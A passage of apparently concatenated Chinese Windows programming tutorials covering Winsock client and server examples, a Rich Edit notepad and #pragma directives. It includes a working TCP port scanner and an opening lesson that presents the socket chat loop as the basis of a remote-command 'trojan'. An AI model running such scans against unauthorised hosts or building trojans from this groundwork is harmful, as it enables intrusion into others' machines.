	addrServer.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");  // 目标IP (127.0.0.1是本机地址)
	addrServer.sin_family = AF_INET;                           // 协议类型是INET
	addrServer.sin_port = htons(6000);                         // 连接端口1234

	// 让 sockClient 连接到 服务端
	connect(sockClient, (SOCKADDR *)&addrServer, sizeof(SOCKADDR));

	while(1)
	{
		// 从服务端获取数据
		recv(sockClient, recvBuf, 100, 0);
		// 打印数据
		printf("-- Server: %sn", recvBuf);
		// 输入提示符
		printf(">>");
		// 接收用户的输入
		scanf("%s", message);
		// 发送数据到服务端
		send(sockClient, message, strlen(message) + 1, 0);
	}

	// 关闭socket
	closesocket(sockClient);
	WSACleanup();
}

测试效果图:

socket_chat

大家可以看到,这样客户端与服务器端就简单的交互了。而这个过程稍微修改一下就可以变成一个客户端与服务端交互的过程,例如让服务端发送一条命令到客户端,然后客户端执行这个命令,并且返回给服务端然后继续等待服务端的下一个命令。这个时候如果客户端程序运行在要控制的计算机上,那么就已经可以说是一个 “木马” 了。

相信看到这里,你的心中大概已经有些思路了,那么建议你停下来好好的把握住脑海中的思路自己尝试一下。

文章索引

下一讲:木马,你好!(二)最简单的木马

Windows API 教程(九) 网络编程

茵蒂克丝

基础概念

IP 地址

IP 是英文 Internet Protocol (网络之间互连的协议)的缩写,也就是为计算机网络相互连接进行通信而设计的协议。任一系统,只要遵守 IP协议就可以与因特网互连互通。

所谓IP地址就是给每个遵循tcp/ip协议连接在Internet上的主机分配的一个32bit地址。按照TCP/IP协议规定,IP地址用二进制来表示,每个IP地址长32bit,比特换算成字节,就是4个字节。为了方便人们的使用,IP地址经常被写成十进制的形式,中间使用符号 “.” 分开不同的字节,如:192.168.1.1。在因特网中,主机的标识便是它ip地址。

常见的获取服务器ip的方法是使用系统自带的ping命令。例,打开cmd输入:
ping http://www.baidu.com

输出:
ping_baidu

其中的 115.239.210.27 就是baidu服务器的地址了

服务端与客户端

服务端与客户端在计算机的世界里,凡是提供服务的一方我们称为服务端(Server),而接受服务的另一方我们称作客户端(Client)。

网站提供网页数据的服务,使用者接受网站所提供的数据服务,所以使用者在这里就是客户端,响应使用者要求的网站即称为服务端。

不过客户端及服务端的关系不见得一定建立在两台分开的机器上,同一台机器中也有这种主从关系的存在,提供服务的服务端及接受服务的客户端也有可能都在同一台机器上。

例如我们在提供网页的服务器上执行浏览器浏览本机所提供的网页,这样在同一台机器上就同时扮演服务端及客户端。

Socket

socket的英文原义是“孔”或“插座”。作为4BDS UNIX的进程通信机制,取后一种意思。通常也称作”套接字”,用于描述IP地址和端口,是一个通信链的句柄。

Scoket程勋分为服务端与客户端,服务端程序监听端口,等待客户端程序的连接。客户端程序发起连接,等待服务端的相应。客户端想要连接上服务端的话,需要 知道服务端的ip地址。

例如,客户想要访问百度网站的首页,通过浏览器访问http://www.baidu.com。浏览器发出请求之后,先是DNS服务器将百度的域名解析成ip地址之后,访问到ip地址为115.239.210.27服务器的80端口(http协议默认在80端口),请求发送后,百度的服务器作为响应将页面的源代码发送至客户端(通过浏览器右键->源代码,或者ctrl+u可以看到服务器返回的页面源代码),随后浏览器将源代码渲染成页面。这样用户就看到了百度网站的首页。

头文件和库文件

在windows系统上,当前的Windows Socket接口是Windows Sockets 2,所有接口函数都是有Ws2_32.dll导出。在进行程序设计时,祥光的数据类型、结构定义、函数声明等卫浴头文件winsock2.h中,编译时需要包含此文件,并且连接到库Ws2_32.lib。

常用函数

常见的socket函数

  • WSAStartup 初始化Ws2_32.lib库
  • WSACleanup 关闭Ws2_32.lib库
  • Socket 创建socket
  • closesocket 关闭socket
  • sockaddr和sockaddr_in 结构体socket地址
  • bind 绑定
  • listen 监听
  • accept 接收
  • connect 连接
  • send 发送
  • recv 获取返回
  • WSAStartup () 函数

    WSAStartup函数的功能使加载Ws2_32.dll等Socket程序运行的环境。在程序初始化后,Socket程序运行所依赖的动态链接库不一定已经在家,WSAStartup保证了Socket 动态链接库的加载。

    int WSAStartup(
    __in WORD wVersionRequested,
    __out LPWSADATA lpWSAData
    ); 
    

    参数一 wVersionRequested
    Socket程序库的版本,一般使用MAKEWORD(2,2)宏生成。

    参数二 lpWSAData
    输出参数,指向 WSADATA 结构的指针,用于返回Socket库初始化的信息。

    返回值 用来判断程序是否成功加载

    WSACleanup () 函数

    与 WSAStartup 相反, WSACleanup 释放Ws2_32.dll,函数无参数。

    Socket () 函数

    Socket函数的功能是建立一个绑定到制定协议和传输类型的Socket。

    SOCKET WSAAPI socket(
    __in int af,
    __in int type,
    __in int protocol
    );
    

    参数一 af
    address family的缩写,制定该Socket使用哪一种类型的网络地址。可以是IPv4(AF_INET),也可以是IPv6(AF_INET6)、蓝牙(AF_BTM)、NetBios(AF_NETBIOS)等。

    参数二 type
    设置传输类型,常见类型有 SOCK_STREAMSOCK_DGRAMSOCK_RAMSOCK_SEQPACKET 等。SOCK_STREAM 类型是基于连接的(TCP),所收的数据时数据流形式的,传输层的数据包已经经过处理。SOCK_DGRAM是基于报文(UDP)。如果制定为SOCK_RAM,那么可以建立原始套接字,所收到的数据是以数据包(包括包头)的形式存在的。

    参数三 protocol
    设置传输协议,常用的协议为 IPPROTO_TCPIPPROTO_UDP

    colsesocket() 函数

    与 socket 函数对应,用于关闭 socket

    int WSAAPI closesocket(
     __in SOCKET s
     );
     

    参数一 s
    指定要关闭的socket

    sockaddrsockaddr_in 结构体

    sockaddrSOCKADDRsockaddr_inSOCKADDR_IN 这 几个结构用于表示地址很端口。在IPv4下,这几个结构体是可以通用的。

    typedef struct sockaddr {
    
    #if (_WIN32_WINNT < 0x0600)
        u_short sa_family;
    #else 
        ADDRESS_FAMILY sa_family; // Address family.
    #endif //(_WIN32_WINNT < 0x0600)
    
        CHAR sa_data[14]; // Up to 14 bytes of direct address.
    } SOCKADDR, *PSOCKADDR, FAR *LPSOCKADDR;
    
    typedef struct sockaddr_in {
    
    #if(_WIN32_WINNT < 0x0600)
        short sin_family; 
    #else //(_WIN32_WINNT < 0x0600)
        ADDRESS_FAMILY sin_family;
    #endif //(_WIN32_WINNT < 0x0600)
    
        USHORT sin_port;
        IN_ADDR sin_addr;
        CHAR sin_zero[8];
    } SOCKADDR_IN, *PSOCKADDR_IN;
    

    bind() 函数

    服务器端,将Socket与网络地址和端口绑定起来,函数原型如下:

    int WSAAPI bind(
    __in SOCKET s,
    __in_bcount(namelen) const struct sockaddr FAR * name,
    __in int namelen
    );
    

    参数一 s
    要绑定的socket

    参数二 name
    要绑定的网络地址结构体

    参数三 namelen
    name参数所指向的结构体的大小

    listen() 函数

    设置 socket 的状态为监听,使客户端程序可以进行连接,函数原型:

    int WSAAPI listen(
    __in SOCKET s,
    __in int backlog
    );
    

    参数一 s
    绑定的socket

    参数二 backlog
    指定最大的连接数

    accept() 函数

    接受客户端的连接

    SOCKET WSAAPI accept(
    __in SOCKET s,
    __out_bcount_opt(*addrlen) struct sockaddr FAR * addr,
    __inout_opt int FAR * addrlen
    );
    

    参数一 s
    正在监听的socket,该 socket 使用 listen() 设置。

    参数二 addr (可选)
    指针,指向一缓冲区,其中接收为通讯层所知的连接实体的地址。Addr参数的实际格式由套接口创建时所产生的地址族确定。

    参数三 addrlen (可选)
    指针,指向存有addr地址长度的整形数。

    返回:
    成功:非负描述字
    失败:-1

    accept 默认会阻塞进程,直到有客户端建立连接后返回,它返回的是连接用的 socket 。如果 accept 成功返回,则服务器与客户已经正确建立连接了,此时服务器通过 accept 返回的 socket 来完成与客户的通信。

    connect() 函数

    connect函数的功能使与服务器建立连接。这个函数只能由客户端程序调用。

    int WSAAPI connect(
    __in SOCKET s,
    __in_bcount(namelen) const struct sockaddr FAR * name,
    __in int namelen
    );
    

    参数一 s
    socket 函数建立的套接字。

    参数二 name
    指向sockaddr结构体指针,包括了所要连接的服务端的地址和端口等。

    参数三 namelen
    sockaddr结构的长度

    send() 函数

    向连接的另一端发送数据,不论是客户还是服务器应用程序都用 send 函数来向 TCP 连接的另一端发送数据。

    int WSAAPI send(
    __in SOCKET s,
    __in_bcount(len) const char FAR * buf,
    __in int len,
    __in int flags
    );
    

    参数一 s
    指定发送端socket描述符。

    参数二 *buf
    指明存放要发送的数据的缓冲区。

    参数三 len
    指明实际要发送的数据的字节数。

    参数四 flags
    指明发送的方法,常见宏MSG_DONTROUTEMSG_OOB等,一般置0。

    将*buf指向的字符串发送至客户端

    recv() 函数

    不论是客户还是服务器应用程序都用 recv 函数 从 TCP 连接的另一端接收数据。

    int WSAAPI recv(
    __in SOCKET s,
    __out_bcount_part(len, return) __out_data_source(NETWORK) char FAR * buf,
    __in int len,
    __in int flags
    );
    

    参数一 s
    指定接收端socket描述符;

    参数二 *buf
    指明一个缓冲区,该缓冲区用来存放recv函数接收到的数据;

    参数三 len
    指明buf的长度;

    参数四 flags
    指明接收的方法,常见宏 MSG_DONTROUTEMSG_OOB 等,一般置0。
    获取到客户端返回的字符串并将其写入到buf中

    简单的 socket 通信示例

    服务端(Server)

    #include <Winsock2.h>
    #include <stdio.h>
    #pragma comment(lib, "ws2_32.lib")
    
    void main()
    {
        int err; // 错误信息
        int len;
    
        char sendBuf[100]; // 发送至客户端的字符串
        char recvBuf[100]; // 接受客户端返回的字符串
    
        SOCKET sockServer;     // 服务端 Socket
        SOCKADDR_IN addrServer;// 服务端地址
        SOCKET sockClient;     // 客户端 Scoket
        SOCKADDR_IN addrClient;// 客户端地址
    
        WSADATA wsaData;       // winsock 结构体
        WORD wVersionRequested;// winsock 的版本
    
        // 配置 Windows Socket版本
        wVersionRequested = MAKEWORD( 2, 2 );
    
        // 初始化 Windows Socket
        err = WSAStartup( wVersionRequested, &wsaData );
    
        if ( err != 0 )
        {
            // 启动错误,程序结束
            return;
        }
    
        /*
         * 确认WinSock DLL支持2.2
         * 请注意如果DLL支持的版本大于2.2至2.2
         * 它仍然会返回wVersion2.2的版本
         */
    
        if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 )
        {
            // 启动错误,程序结束
            WSACleanup(); // 终止Winsock 2 DLL (Ws2_32.dll) 的使用
            return;
        }
    
        // 定义服务器端socket
        sockServer = socket(AF_INET, SOCK_STREAM, 0);
    
        //  设置服务端 socket
        addrServer.sin_addr.S_un.S_addr = htonl(INADDR_ANY); // 本机IP
        addrServer.sin_family = AF_INET;                   // 协议类型是INET
        addrServer.sin_port = htons(6000);                 // 绑定端口6000
    
        // 将服务器端socket绑定在本地端口
        bind(sockServer, (SOCKADDR *)&addrServer, sizeof(SOCKADDR));
    
        // Listen 监听端口
        listen(sockServer, 5); // 5 为等待连接数目
    
        printf("服务器已启动:n监听中...n");
    
        len = sizeof(SOCKADDR);
    
        // accept 会阻塞进程,直到有客户端连接上来为止
        sockClient = accept(sockServer, (SOCKADDR *)&addrClient, &len);
        // 当客户端连接上来时, 拼接如下字符串        
        sprintf(sendBuf, "欢迎 ip: %s 的用户连接, 这里是 Lellansin 的服务器n", inet_ntoa(addrClient.sin_addr));
        // 向客户端发送字符串
        send(sockClient, sendBuf, strlen(sendBuf) + 1, 0);
        // 获取客户端返回的数据
        recv(sockClient, recvBuf, 100, 0);
        // 打印客户端返回的数据
        printf("%sn", recvBuf);
        // 关闭socket
        closesocket(sockClient);
    
        getchar();
    }
    

    启动后防火墙有阻挡提示,这里接受就可以了。另外下图是原来博主测试时截的图,跟上面代码的输出部分稍稍有些区别。

    tcp_server_test

    客户端(Client)

    #include <Winsock2.h>
    #include <stdio.h>
    #pragma comment(lib, "ws2_32.lib")
    
    void main()
    {
    	int err;
    	char *message;
    	char recvBuf[100];
    
    	SOCKET sockClient; // 客户端 Scoket
    	SOCKADDR_IN addrServer; // 服务端地址
    
    	WSADATA wsaData;
    	WORD wVersionRequested;
    
    	wVersionRequested = MAKEWORD( 2, 2 );
    
    	err = WSAStartup( wVersionRequested, &wsaData );
    
    	if ( err != 0 )
    	{
    		return;
    	}
    
    	if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 2 )
    	{
    		// 启动错误,程序结束
    		WSACleanup( );
    		return;
    	}
    
    	// 新建客户端 scoket
    	sockClient = socket(AF_INET, SOCK_STREAM, 0);
    
    	// 定义要连接的服务端地址
    	addrServer.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");  // 目标IP (127.0.0.1是本机地址)
    	addrServer.sin_family = AF_INET;                           // 协议类型是INET
    	addrServer.sin_port = htons(6000);                         // 连接端口1234
    
    	// 让 sockClient 连接到 服务端
    	connect(sockClient, (SOCKADDR *)&addrServer, sizeof(SOCKADDR));
    
    	// 从服务端获取数据
    	recv(sockClient, recvBuf, 100, 0);
    
    	// 打印数据
    	printf("%sn", recvBuf);
    
    	message = "服务端你好~";
    
    	// 发送数据到服务端
    	send(sockClient, message, strlen(message) + 1, 0);
    
    	// 关闭socket
    	closesocket(sockClient);
    	WSACleanup();
    
    	getchar(); // 暂停
    }
    

    tcp_client_test

    客户端与服务端更多通信,例子:《木马,你好!(二)最简单的木马》

    简单的端口扫描程序

    hostent结构体

    host entry的缩写,该结构记录主机的信息,包括主机名、别名、地址类型、地址长度和地址列表。之所以主机的地址是一个列表的形式,原因是当一个主机有多个网络接口时会有多个地址。

    struct hostent {
    	char FAR * h_name; 				/* 主机正式名称 */
    	char FAR * FAR * h_aliases; 	/* 主机别名 */
    	short h_addrtype; 				/* 地址类型 */
    	short h_length; 				/* 地址长度 */
    	char FAR * FAR * h_addr_list; 	/* 主机网络地址指针 */
    	#define h_addr h_addr_list[0] 	/* 指向第一个地址 */
    };
    

    代码

    #include <winsock2.h>
    #include <stdio.h>
    #include <stdlib.h>
    #pragma comment(lib,"ws2_32.lib")
    
    void Help( void );
    
    int main(int argc, char *argv[])
    {
    	WORD wVersion = MAKEWORD(2, 0);
    	WSADATA wsaData;
    
    	//sockaddr_in结构体
    	struct sockaddr_in sin;
    
    	int iFromPort;
    	int iToPort;
    	int iNowPort;
    	char *cHost;
    
    	HOSTENT *host_entry;
    	char *host_name;
    	char host_address[256];
    
    	SOCKET s;
    
    	int iOpenPort = 0;
    	int port[256], i;
    
    	if (argc != 4)
    	{
    		Help();
    		return -1;
    	}
    
    	iFromPort = atoi(argv[2]);
    	iToPort = atoi(argv[3]);
    	host_name = argv[1];
    
    	if (iFromPort > iToPort || iFromPort < 0 || iFromPort > 65535 || iToPort < 0 || iToPort > 65535)
    	{
    		printf("起始端口不能大于结束端口,且范围为:1--65535 ");
    		return 0;
    	}
    
    	if ( WSAStartup(wVersion , &wsaData) )
    	{
    		printf("初始化失败!");
    		return -1;
    	}
    
    	// 根据用户输入的域名来获取服务器主机信息
    	host_entry = gethostbyname(host_name);
    
    	if (host_entry != 0)
    	{
    		wsprintf( host_address, "%d.%d.%d.%d",
    			(host_entry->h_addr_list[0][0] & 0x00ff),
    			(host_entry->h_addr_list[0][1] & 0x00ff),
    			(host_entry->h_addr_list[0][2] & 0x00ff),
    			(host_entry->h_addr_list[0][3] & 0x00ff)
    			);
    		printf("n主机名称:%s  主机地址:%s n", host_name, host_address);
    	}
    
    	cHost = host_address;
    
    	printf("======= 开始扫描 ======= n");
    
    	for (iNowPort = iFromPort; iNowPort <= iToPort; iNowPort++)
    	{
    		s = socket(AF_INET, SOCK_STREAM, 0);
    		if (s == INVALID_SOCKET)
    		{
    			printf("create socket() failed!");
    			WSACleanup();
    		}
    
    		sin.sin_family = AF_INET;
    		sin.sin_port = htons(iNowPort);
    		sin.sin_addr.S_un.S_addr = inet_addr(cHost);
    
    		if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) == SOCKET_ERROR)
    		{
    			printf("%s -> %d:未开放 n", cHost, iNowPort);
    			closesocket(s);
    		}
    		else
    		{
    			printf("%s -> %d:开放 n", cHost, iNowPort);
    			port[iOpenPort] = iNowPort;
    			iOpenPort ++;
    			closesocket(s);
    		}
    	}
    
    	printf("======= 扫描结果 ======= n");
    	printf("主机:%s 扫描到%d个端口,分别是: n", host_name, iOpenPort);
    
    	for ( i = 0; i < iOpenPort; i++)
    	{
    		printf("%d ", port[i]);
    	}
    
    	//关闭socket
    	closesocket(s);
    	WSACleanup();
    	return 0;
    }
    
    //帮助函数
    void Help()
    {
    	printf("Usage: n");
    	printf("Port.exe <TargetIP> <BeginPort> <EndPort> n");
    	printf("Example: n");
    	printf("scan.exe 127.0.0.1 100 200 ");
    }
    

    函数列表

    一、基本Socket函数

  • accept() 响应连接请求,返回一个连接socket,原来的socket返回监听状态
  • bind() 把一个socket绑定在某个端口上
  • CloseSocket() 关闭套接字
  • Connect() 连接
  • GetPeerName() 得到连接在指定套接口上的对等通信方的名字
  • GetSockName() 得到指定套接口上当前的名字
  • GetSockopt() 得到与制定套接口相关的属性选项
  • htonl() 把32位的数字从主机字节顺序转换到网络字节顺序
  • htons() 把16位的数字从主机字节顺序转换到网络字节顺序
  • inet_addr() 把一个Internet标准的点分十进制地址转换成Internet地址数值
  • inet_ntoa() 把Internet地址转换成点分十进制的字符串
  • ioctlsocket() 为套接字提供控制
  • listen() 监听套接字上连接请求的到来
  • ntohl() 把32位的数字从网咯字节顺序转换为主机字节顺序
  • ntons() 把16位的数字从网咯字节顺序转换为主机字节顺序
  • recv() 从已经连接的套接字接受数据
  • recvfrom() 从已连接的或没有连接的套接口接受数据
  • select() 执行同步IO多路复用
  • send() 从已连接的套几口发送数据
  • sendto() 从已连接的或没有连接的套接口发送数据
  • setsockopt() 设置与指定套接口相关的属性选项
  • shutdown() 关闭一部分全双工的链接
  • socket() 创建并返回一个socket
  • 二、获取信息

  • Gethostbyaddr() 根据网络地址得到对应的名字(会有多个)和地址
  • Gethostbyname() 根据主机名得到对应的名字(会有多个)和地址
  • gethostname() 得到本机主机名
  • getservbyname() 根据服务的名字得到对应的服务名和端口号
  • getservbyport() 根据端口号得到对应的服务名和端口号
  • getprotobyname() 根据协议名得到对应的协议名和数值
  • getprotobynumber() 根据端口号得到对应的协议名和数值
  • 三、DLL操作

  • WSAStartup 初始化底层的windows Sockets DLL
  • WSACleanup 从底层的Sockets DLL中撤销注册
  • WSAAsyncSelect Select函数的异步版本
  • WSAIsBlocking 确定底层的winsock DLL是否在该线程已经被一个调用阻塞
  • WSACancelBlockingCall 取消未完成的阻塞的API调用
  • WSASetBlockingHook 为底层的windows sockets实现设置阻塞钩子
  • WSASetLastError 设置下一次的WSAGetLastError返回的错误信息
  • WSAGetLastError 得到最近的一个windows sockets API调用错误的详细信息
  • WSAUnhookBlockingHook 恢复原始的阻塞钩子
  • WSACancelAsyncRequest 取消一个未完成的 WSAAsyncGetXByY 函数的实例
  • 文章索引
    上一讲: Windows API 教程(八) 注册快捷键
    下一讲: Windows API 教程(十) 注册表操作

    Windows SDK 教程(四) 记事本与SendMessage

    茵蒂克丝

    SendMessage 相关内容整理中。。下载见底部。。

    加载 Rich Edit 控件

    跟前面的流程类似,新建一个 Dialog 接着从工具箱中拖出来 Rich Edit 控件。 在代码中设置 LoadLibrary(“RICHED20.DLL”); 即可。一下是代码

    #include <Windows.h>
    #include "resource.h"
    
    int CALLBACK DialogProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam)
    {
    	switch(Message)
    	{
    	case WM_INITDIALOG:
    		break;
    	case WM_COMMAND:
    		{		
    			switch(wParam)
    			{
    			case IDOK:
    				MessageBox(hwnd, TEXT("hello"), NULL, MB_OK);
    				break;
    			case IDCANCEL:
    				EndDialog(hwnd, 0);
    				break;
    			}
    		}
    		break;
    	case WM_CLOSE:				
    		DestroyWindow(hwnd);
    		break;
    	}
    	return 0;
    }
    
    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, 
    					LPSTR lpCmdLine, int nShowCmd )
    {
    	// 加载 Rich Edit 控件的 DLL 动态链接库
    	LoadLibrary("RICHED20.DLL");
    	DialogBox(hInstance, MAKEINTRESOURCE(IDD_MAIN), NULL, DialogProc);
    }
    

    不过,光是加载到窗口中还不够。通常我们还有几个选项要设置:

    Multiline 可以多行编辑
    Want Return 指定 Rich Edit 接受回车键。false 则按下 enter 键默认调用 IDOK 控件。
    Vertical Scroll 指定垂直滚动条
    Horizontal Scrollbar 指定水平滚动条

    添加菜单项

    添加->资源->菜单->编辑菜单->设置菜单ID ->将菜单加入 Dialog 的 Menu 项中, 详见上一讲

    测试代码:

    #include <Windows.h>
    #include "resource.h"
    
    void echo(char *str)
    {
    	MessageBox(NULL, str, TEXT("提示"), MB_OK);
    }
    
    int CALLBACK DialogProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam)
    {
    	switch(Message)
    	{
    	case WM_INITDIALOG:
    		break;
    	case WM_COMMAND:
    		{       
    			switch(wParam)
    			{
    			case ID_NEW_FILE:
    				echo("ID_NEW_FILE");
    				break;
    			case ID_OPEN_FILE:
    				echo("ID_OPEN_FILE");
    				break;
    			case ID_EXIT:
    				echo("ID_EXIT");
    				break;
    			}
    		}
    		break;
    	case WM_CLOSE:
    		DestroyWindow(hwnd);
    		break;
    	}
    	return 0;
    }
    

    OpenFileName 窗口

    GetOpenFileName 函数用于打开一个窗口,该窗口可以让用户在使用系统自带的选择框来选择一个文件,当用户按下确认之后,该 API 就会获取到用户选择的文件的路径。

    示例代码:

    OPENFILENAME ofn;       // OpenFileName 结构体
    char szFile[260];       // 用于保存文件名的缓冲字符串
    HWND hwnd;              // 父窗口的句柄
    
    // 初始化 OpenFileName 结构体
    ZeroMemory(&ofn, sizeof(ofn));
    ofn.lStructSize = sizeof(ofn);
    ofn.hwndOwner = hwnd;
    ofn.lpstrFile = szFile;
    // Set lpstrFile[0] to '\0' so that GetOpenFileName does not 
    // use the contents of szFile to initialize itself.
    ofn.lpstrFile[0] = '\0';
    ofn.nMaxFile = sizeof(szFile);
    ofn.lpstrFilter = "All\0*.*\0Text\0*.TXT\0";
    ofn.nFilterIndex = 1;
    ofn.lpstrFileTitle = NULL;
    ofn.nMaxFileTitle = 0;
    ofn.lpstrInitialDir = NULL;
    ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST;
    
    // 如果成功获取
    if (GetOpenFileName(&ofn)==TRUE) 
    {
    	// 输出文件名
        MessageBox(NULL, ofn.lpstrFile, TEXT("Title"), MB_OK);
    }
    

    效果截图:

    OpenFileNameDialog

    读取文件内容到 Rich Edit

    #include <Windows.h>
    #include "resource.h"
    #include <stdio.h>
    
    void echo(char *str)
    {
    	MessageBox(NULL, str, TEXT("提示"), MB_OK);
    }
    
    int CALLBACK DialogProc(HWND hwnd, UINT Message, WPARAM wParam, LPARAM lParam)
    {
    	OPENFILENAME ofn;       // OpenFileName 的结构体
    	char szFile[260];       // 保存文件名称的缓冲字符串
    	HANDLE hf;              // 文件句柄
    	DWORD fileSize, readSize;
    	char *buffer;
    
    	switch(Message)
    	{
    	case WM_INITDIALOG:
    		break;
    	case WM_COMMAND:
    		{       
    			switch(wParam)
    			{
    			case ID_NEW_FILE:
    				SetDlgItemText(hwnd, IDC_TEXT, "");
    				break;
    			case ID_OPEN_FILE:
    				// 初始化 OPENFILENAME 结构体
    				ZeroMemory(&ofn, sizeof(ofn));
    				ofn.lStructSize = sizeof(ofn);
    				ofn.hwndOwner = hwnd;
    				ofn.lpstrFile = szFile;
    				ofn.lpstrFile[0] = '\0';
    				ofn.nMaxFile = sizeof(szFile);
    				ofn.lpstrFilter = "All\0*.*\0Text\0*.TXT\0";
    				ofn.nFilterIndex = 1;
    				ofn.lpstrFileTitle = NULL;
    				ofn.nMaxFileTitle = 0;
    				ofn.lpstrInitialDir = NULL;
    				ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST;
    
    				// 若成功获取到文件名
    				if (GetOpenFileName(&ofn)==TRUE)
    				{
    					// 输出文件名
    					//echo(szFile);
    
    					// 获取文件句柄
    					hf = CreateFile(
    						szFile, 						// 文件名
    						GENERIC_READ, 					// 只读方式打开
    						0,								// 阻止其他进程访问
    						(LPSECURITY_ATTRIBUTES) NULL,	// 子进程不可继承本句柄
    						OPEN_EXISTING,					// 只当文件存在时打开
    						FILE_ATTRIBUTE_NORMAL,			// 普通文件
    						(HANDLE) NULL					// 不适用模板文件
    					);
    				}
    
    				if (hf == INVALID_HANDLE_VALUE) // 如果打开失败
    				{ 
    					echo("无法打开文件n");
    				} else 
    				{
    					fileSize = GetFileSize(hf,NULL); // 获取文件大小
    					buffer = (char *)malloc(fileSize + 1); // 获取一块内存
    					buffer[fileSize] = '\0'; // 设置结尾
    
    					// 通过文件句柄读取文件到 buffer 中
    					ReadFile(
    						hf,			// 文件句柄
    						buffer,     // 读取到的文件所存放的缓冲区
    						fileSize,   // 要读取的字节数
    						&readSize,  // 实际读取的字节数
    						NULL        // 用 FILE_FLAG_OVERLAPPED 打开时所需的
    						);
    
    					// 将 buffer 中的内容吸入 Rich Edit
    					SetDlgItemText(hwnd, IDC_TEXT, buffer);
    
    					CloseHandle(hf); // 关闭文件句柄
    					free(buffer);	// 释放内存
    				}			
    					
    				break;
    			case ID_EXIT:
    				EndDialog(hwnd, 0);
    				break;   				
    			}
    		}
    		break;
    	case WM_CLOSE:              
    		DestroyWindow(hwnd);
    		break;
    	}
    	return 0;
    }
    

    notepad-1

    Rich Edit 控件常见 Message

    WM_SETTEXT 设置整个控件的文本内容
    EM_REPLACESEL 替换当前文本的内容
    EM_EXGETSEL 获取当前选中的范围
    EM_EXSETSEL 设置某一范围被选中
    EM_LINEINDEX 获取某一行的起始位置
    EM_EXLINEFROMCHAR 获取某一个位置所处的行数
    EM_SETCHARFORMAT 设置文本格式

    更多请参见 MSDN:http://msdn.microsoft.com/en-us/library/windows/desktop/ff486015(v=vs.85).aspx

    WM_SETTEXT 设置文本内容 (set text)

    原本是通过 SetDlgItemText 来设置 Rich Edit 控件内的文字,不过我们也可以通过 Rich Edit 原本的 Message 来实现这一效果。

    SendMessage(hwnd, WM_SETTEXT, NULL, (LPARAM)"hello world");
    

    EM_REPLACESEL 替换当前文本 (replace selection)

    通过 WM_SETTEXT 或者 SetDlgItemText 来设置文本都一个不足就是,这个设置是直接设置整个不会保留原本的文本,还有一个缺陷就是如果要设置的文本过多的话就会有明显的延迟或者卡壳的感觉。

    SendMessage(hwnd, EM_REPLACESEL, NULL, (LPARAM)"hello message!");
    

    如果当前有选中文本的话,传入的文本就会替换过来,如果当前没有选中的话,那么默认是在文本的最末尾插入。要简单的优化一下记事本的话可以通过这个来实现————读取一点加载一点,这种分段式的加载方式就不会有延迟或者卡壳的情况了。

    EM_EXGETSEL 获取选中的范围 (get selection)

    首先要了解一下 CHARRANGE 结构体也即 char range 文本范围结构体

    typedef struct _charrange
    {
    	LONG	cpMin; // 起点位置
    	LONG	cpMax; // 终点位置
    } CHARRANGE;
    
    CHARRANGE cr;										
    SendMessage(hwnd, EM_EXGETSEL, 0, (LPARAM)&cr); 
    

    执行后就能获取到当前 RichEdit 中焦点所选中的区域或者是当前指针所在的为止。

    EM_EXSETSEL 设置范围选中 (set selection)

    CHARRANGE cr;
    cr.cpMin = 0;
    cr.cpMax = 5;
    SendMessage(hwnd, EM_EXSETSEL, 0, (LPARAM)&cr);
    

    该代码会使的 RichEdit 中 0~5 这个范围的文字被选中。

    EM_LINEINDEX 获取某一行的起始位置 (line index)

    int line = 10, pos = 0;
    pos = SendMessage(hwnd, EM_LINEINDEX, line, 0); // 获取第10行第一个位置
    

    EM_EXLINEFROMCHAR 获取某一个位置所处的行数 (line from char)

    int line;
    CHARRANGE cr;										
    SendMessage(hwnd, EM_EXGETSEL, 0, (LPARAM)&cr); // 获取当前选中范围
    line = SendMessage(hwnd, EM_EXLINEFROMCHAR, 0, cr.cpMin); // 获取当前所处的行数
    

    EM_SETCHARFORMAT 设置文本格式 (set char format)

    CHARFORMAT2 char format 文本格式结构体

    int line = 10;
    CHARFORMAT2 cf;
    CHARRANGE cr;
    cr.cpMin = SendMessage(hwnd, EM_LINEINDEX, line, 0);
    cr.cpMax = SendMessage(hwnd, EM_LINEINDEX, line+1, 0) - 1;
    SendMessage(hwnd, EM_EXSETSEL, 0, (LPARAM)&cr); // 选中第 10 行
    	
    memset( &cf, 0, sizeof(CHARFORMAT2) ); // 清空 cf
    cf.cbSize = sizeof(CHARFORMAT2);  
    cf.dwMask = CFM_BACKCOLOR | CFM_COLOR | CFM_UNDERLINETYPE ;      // 使crBackColor字段有效           
    cf.crBackColor = RGB(255, 0, 255); // 设置背景颜色
    cf.dwEffects = CFE_UNDERLINE;
    cf.crTextColor = RGB(0,0,255); // 设置字体颜色
    SendMessage( hwnd,EM_SETCHARFORMAT, SCF_SELECTION, (LPARAM)&cf ); // 设置第10行文字的格式
    

    文章索引百度网盘
    上一讲:Windows SDK 教程(三) 一些细节以及动态创建控件

    C语言 #pragma 预处理

    索引

    • 一. #pragma message
    • 二. #pragma code_seg
    • 三. #pragma once (常用)
    • 四. #pragma hdrstop
    • 五. #pragma warning
    • 六. #pragma comment
      • compiler 选项
      • exestr 选项
      • lib 选项 (常用)
        • 默认隐藏 cmd 窗口的编译选项
      • linker 选项
      • user 选项
    • 七. #pragma 选项列表(全)

    pragma 指令简介

    #pragma 是一个C语言中的预处理指令,它的作用是设定编译器的状态或者是指示编译器完成一些特定的动作。依据定义,编译指示是机器或操作系统专有的,且对于每个编译器都是不同的。

    VC 的官方文档见:http://msdn.microsoft.com/en-us/library/d9x1s805.aspx

    一. #pragma message

    #pragma message("消息文本")
    

    在编译到该处代码时会在编译输出窗口中将制定 消息文本 打印出来。

    #ifdef DEBUG
    	#pragma message("测试版编译中")
    #else
    	#pragma message("正式版编译中")
    #endif
    

    二. #pragma code_seg

    格式如下:

    #pragma code_seg( [ [ { push | pop}, ] [ identifier, ] ] [ "segment-name" [, "segment-class" ] )
    

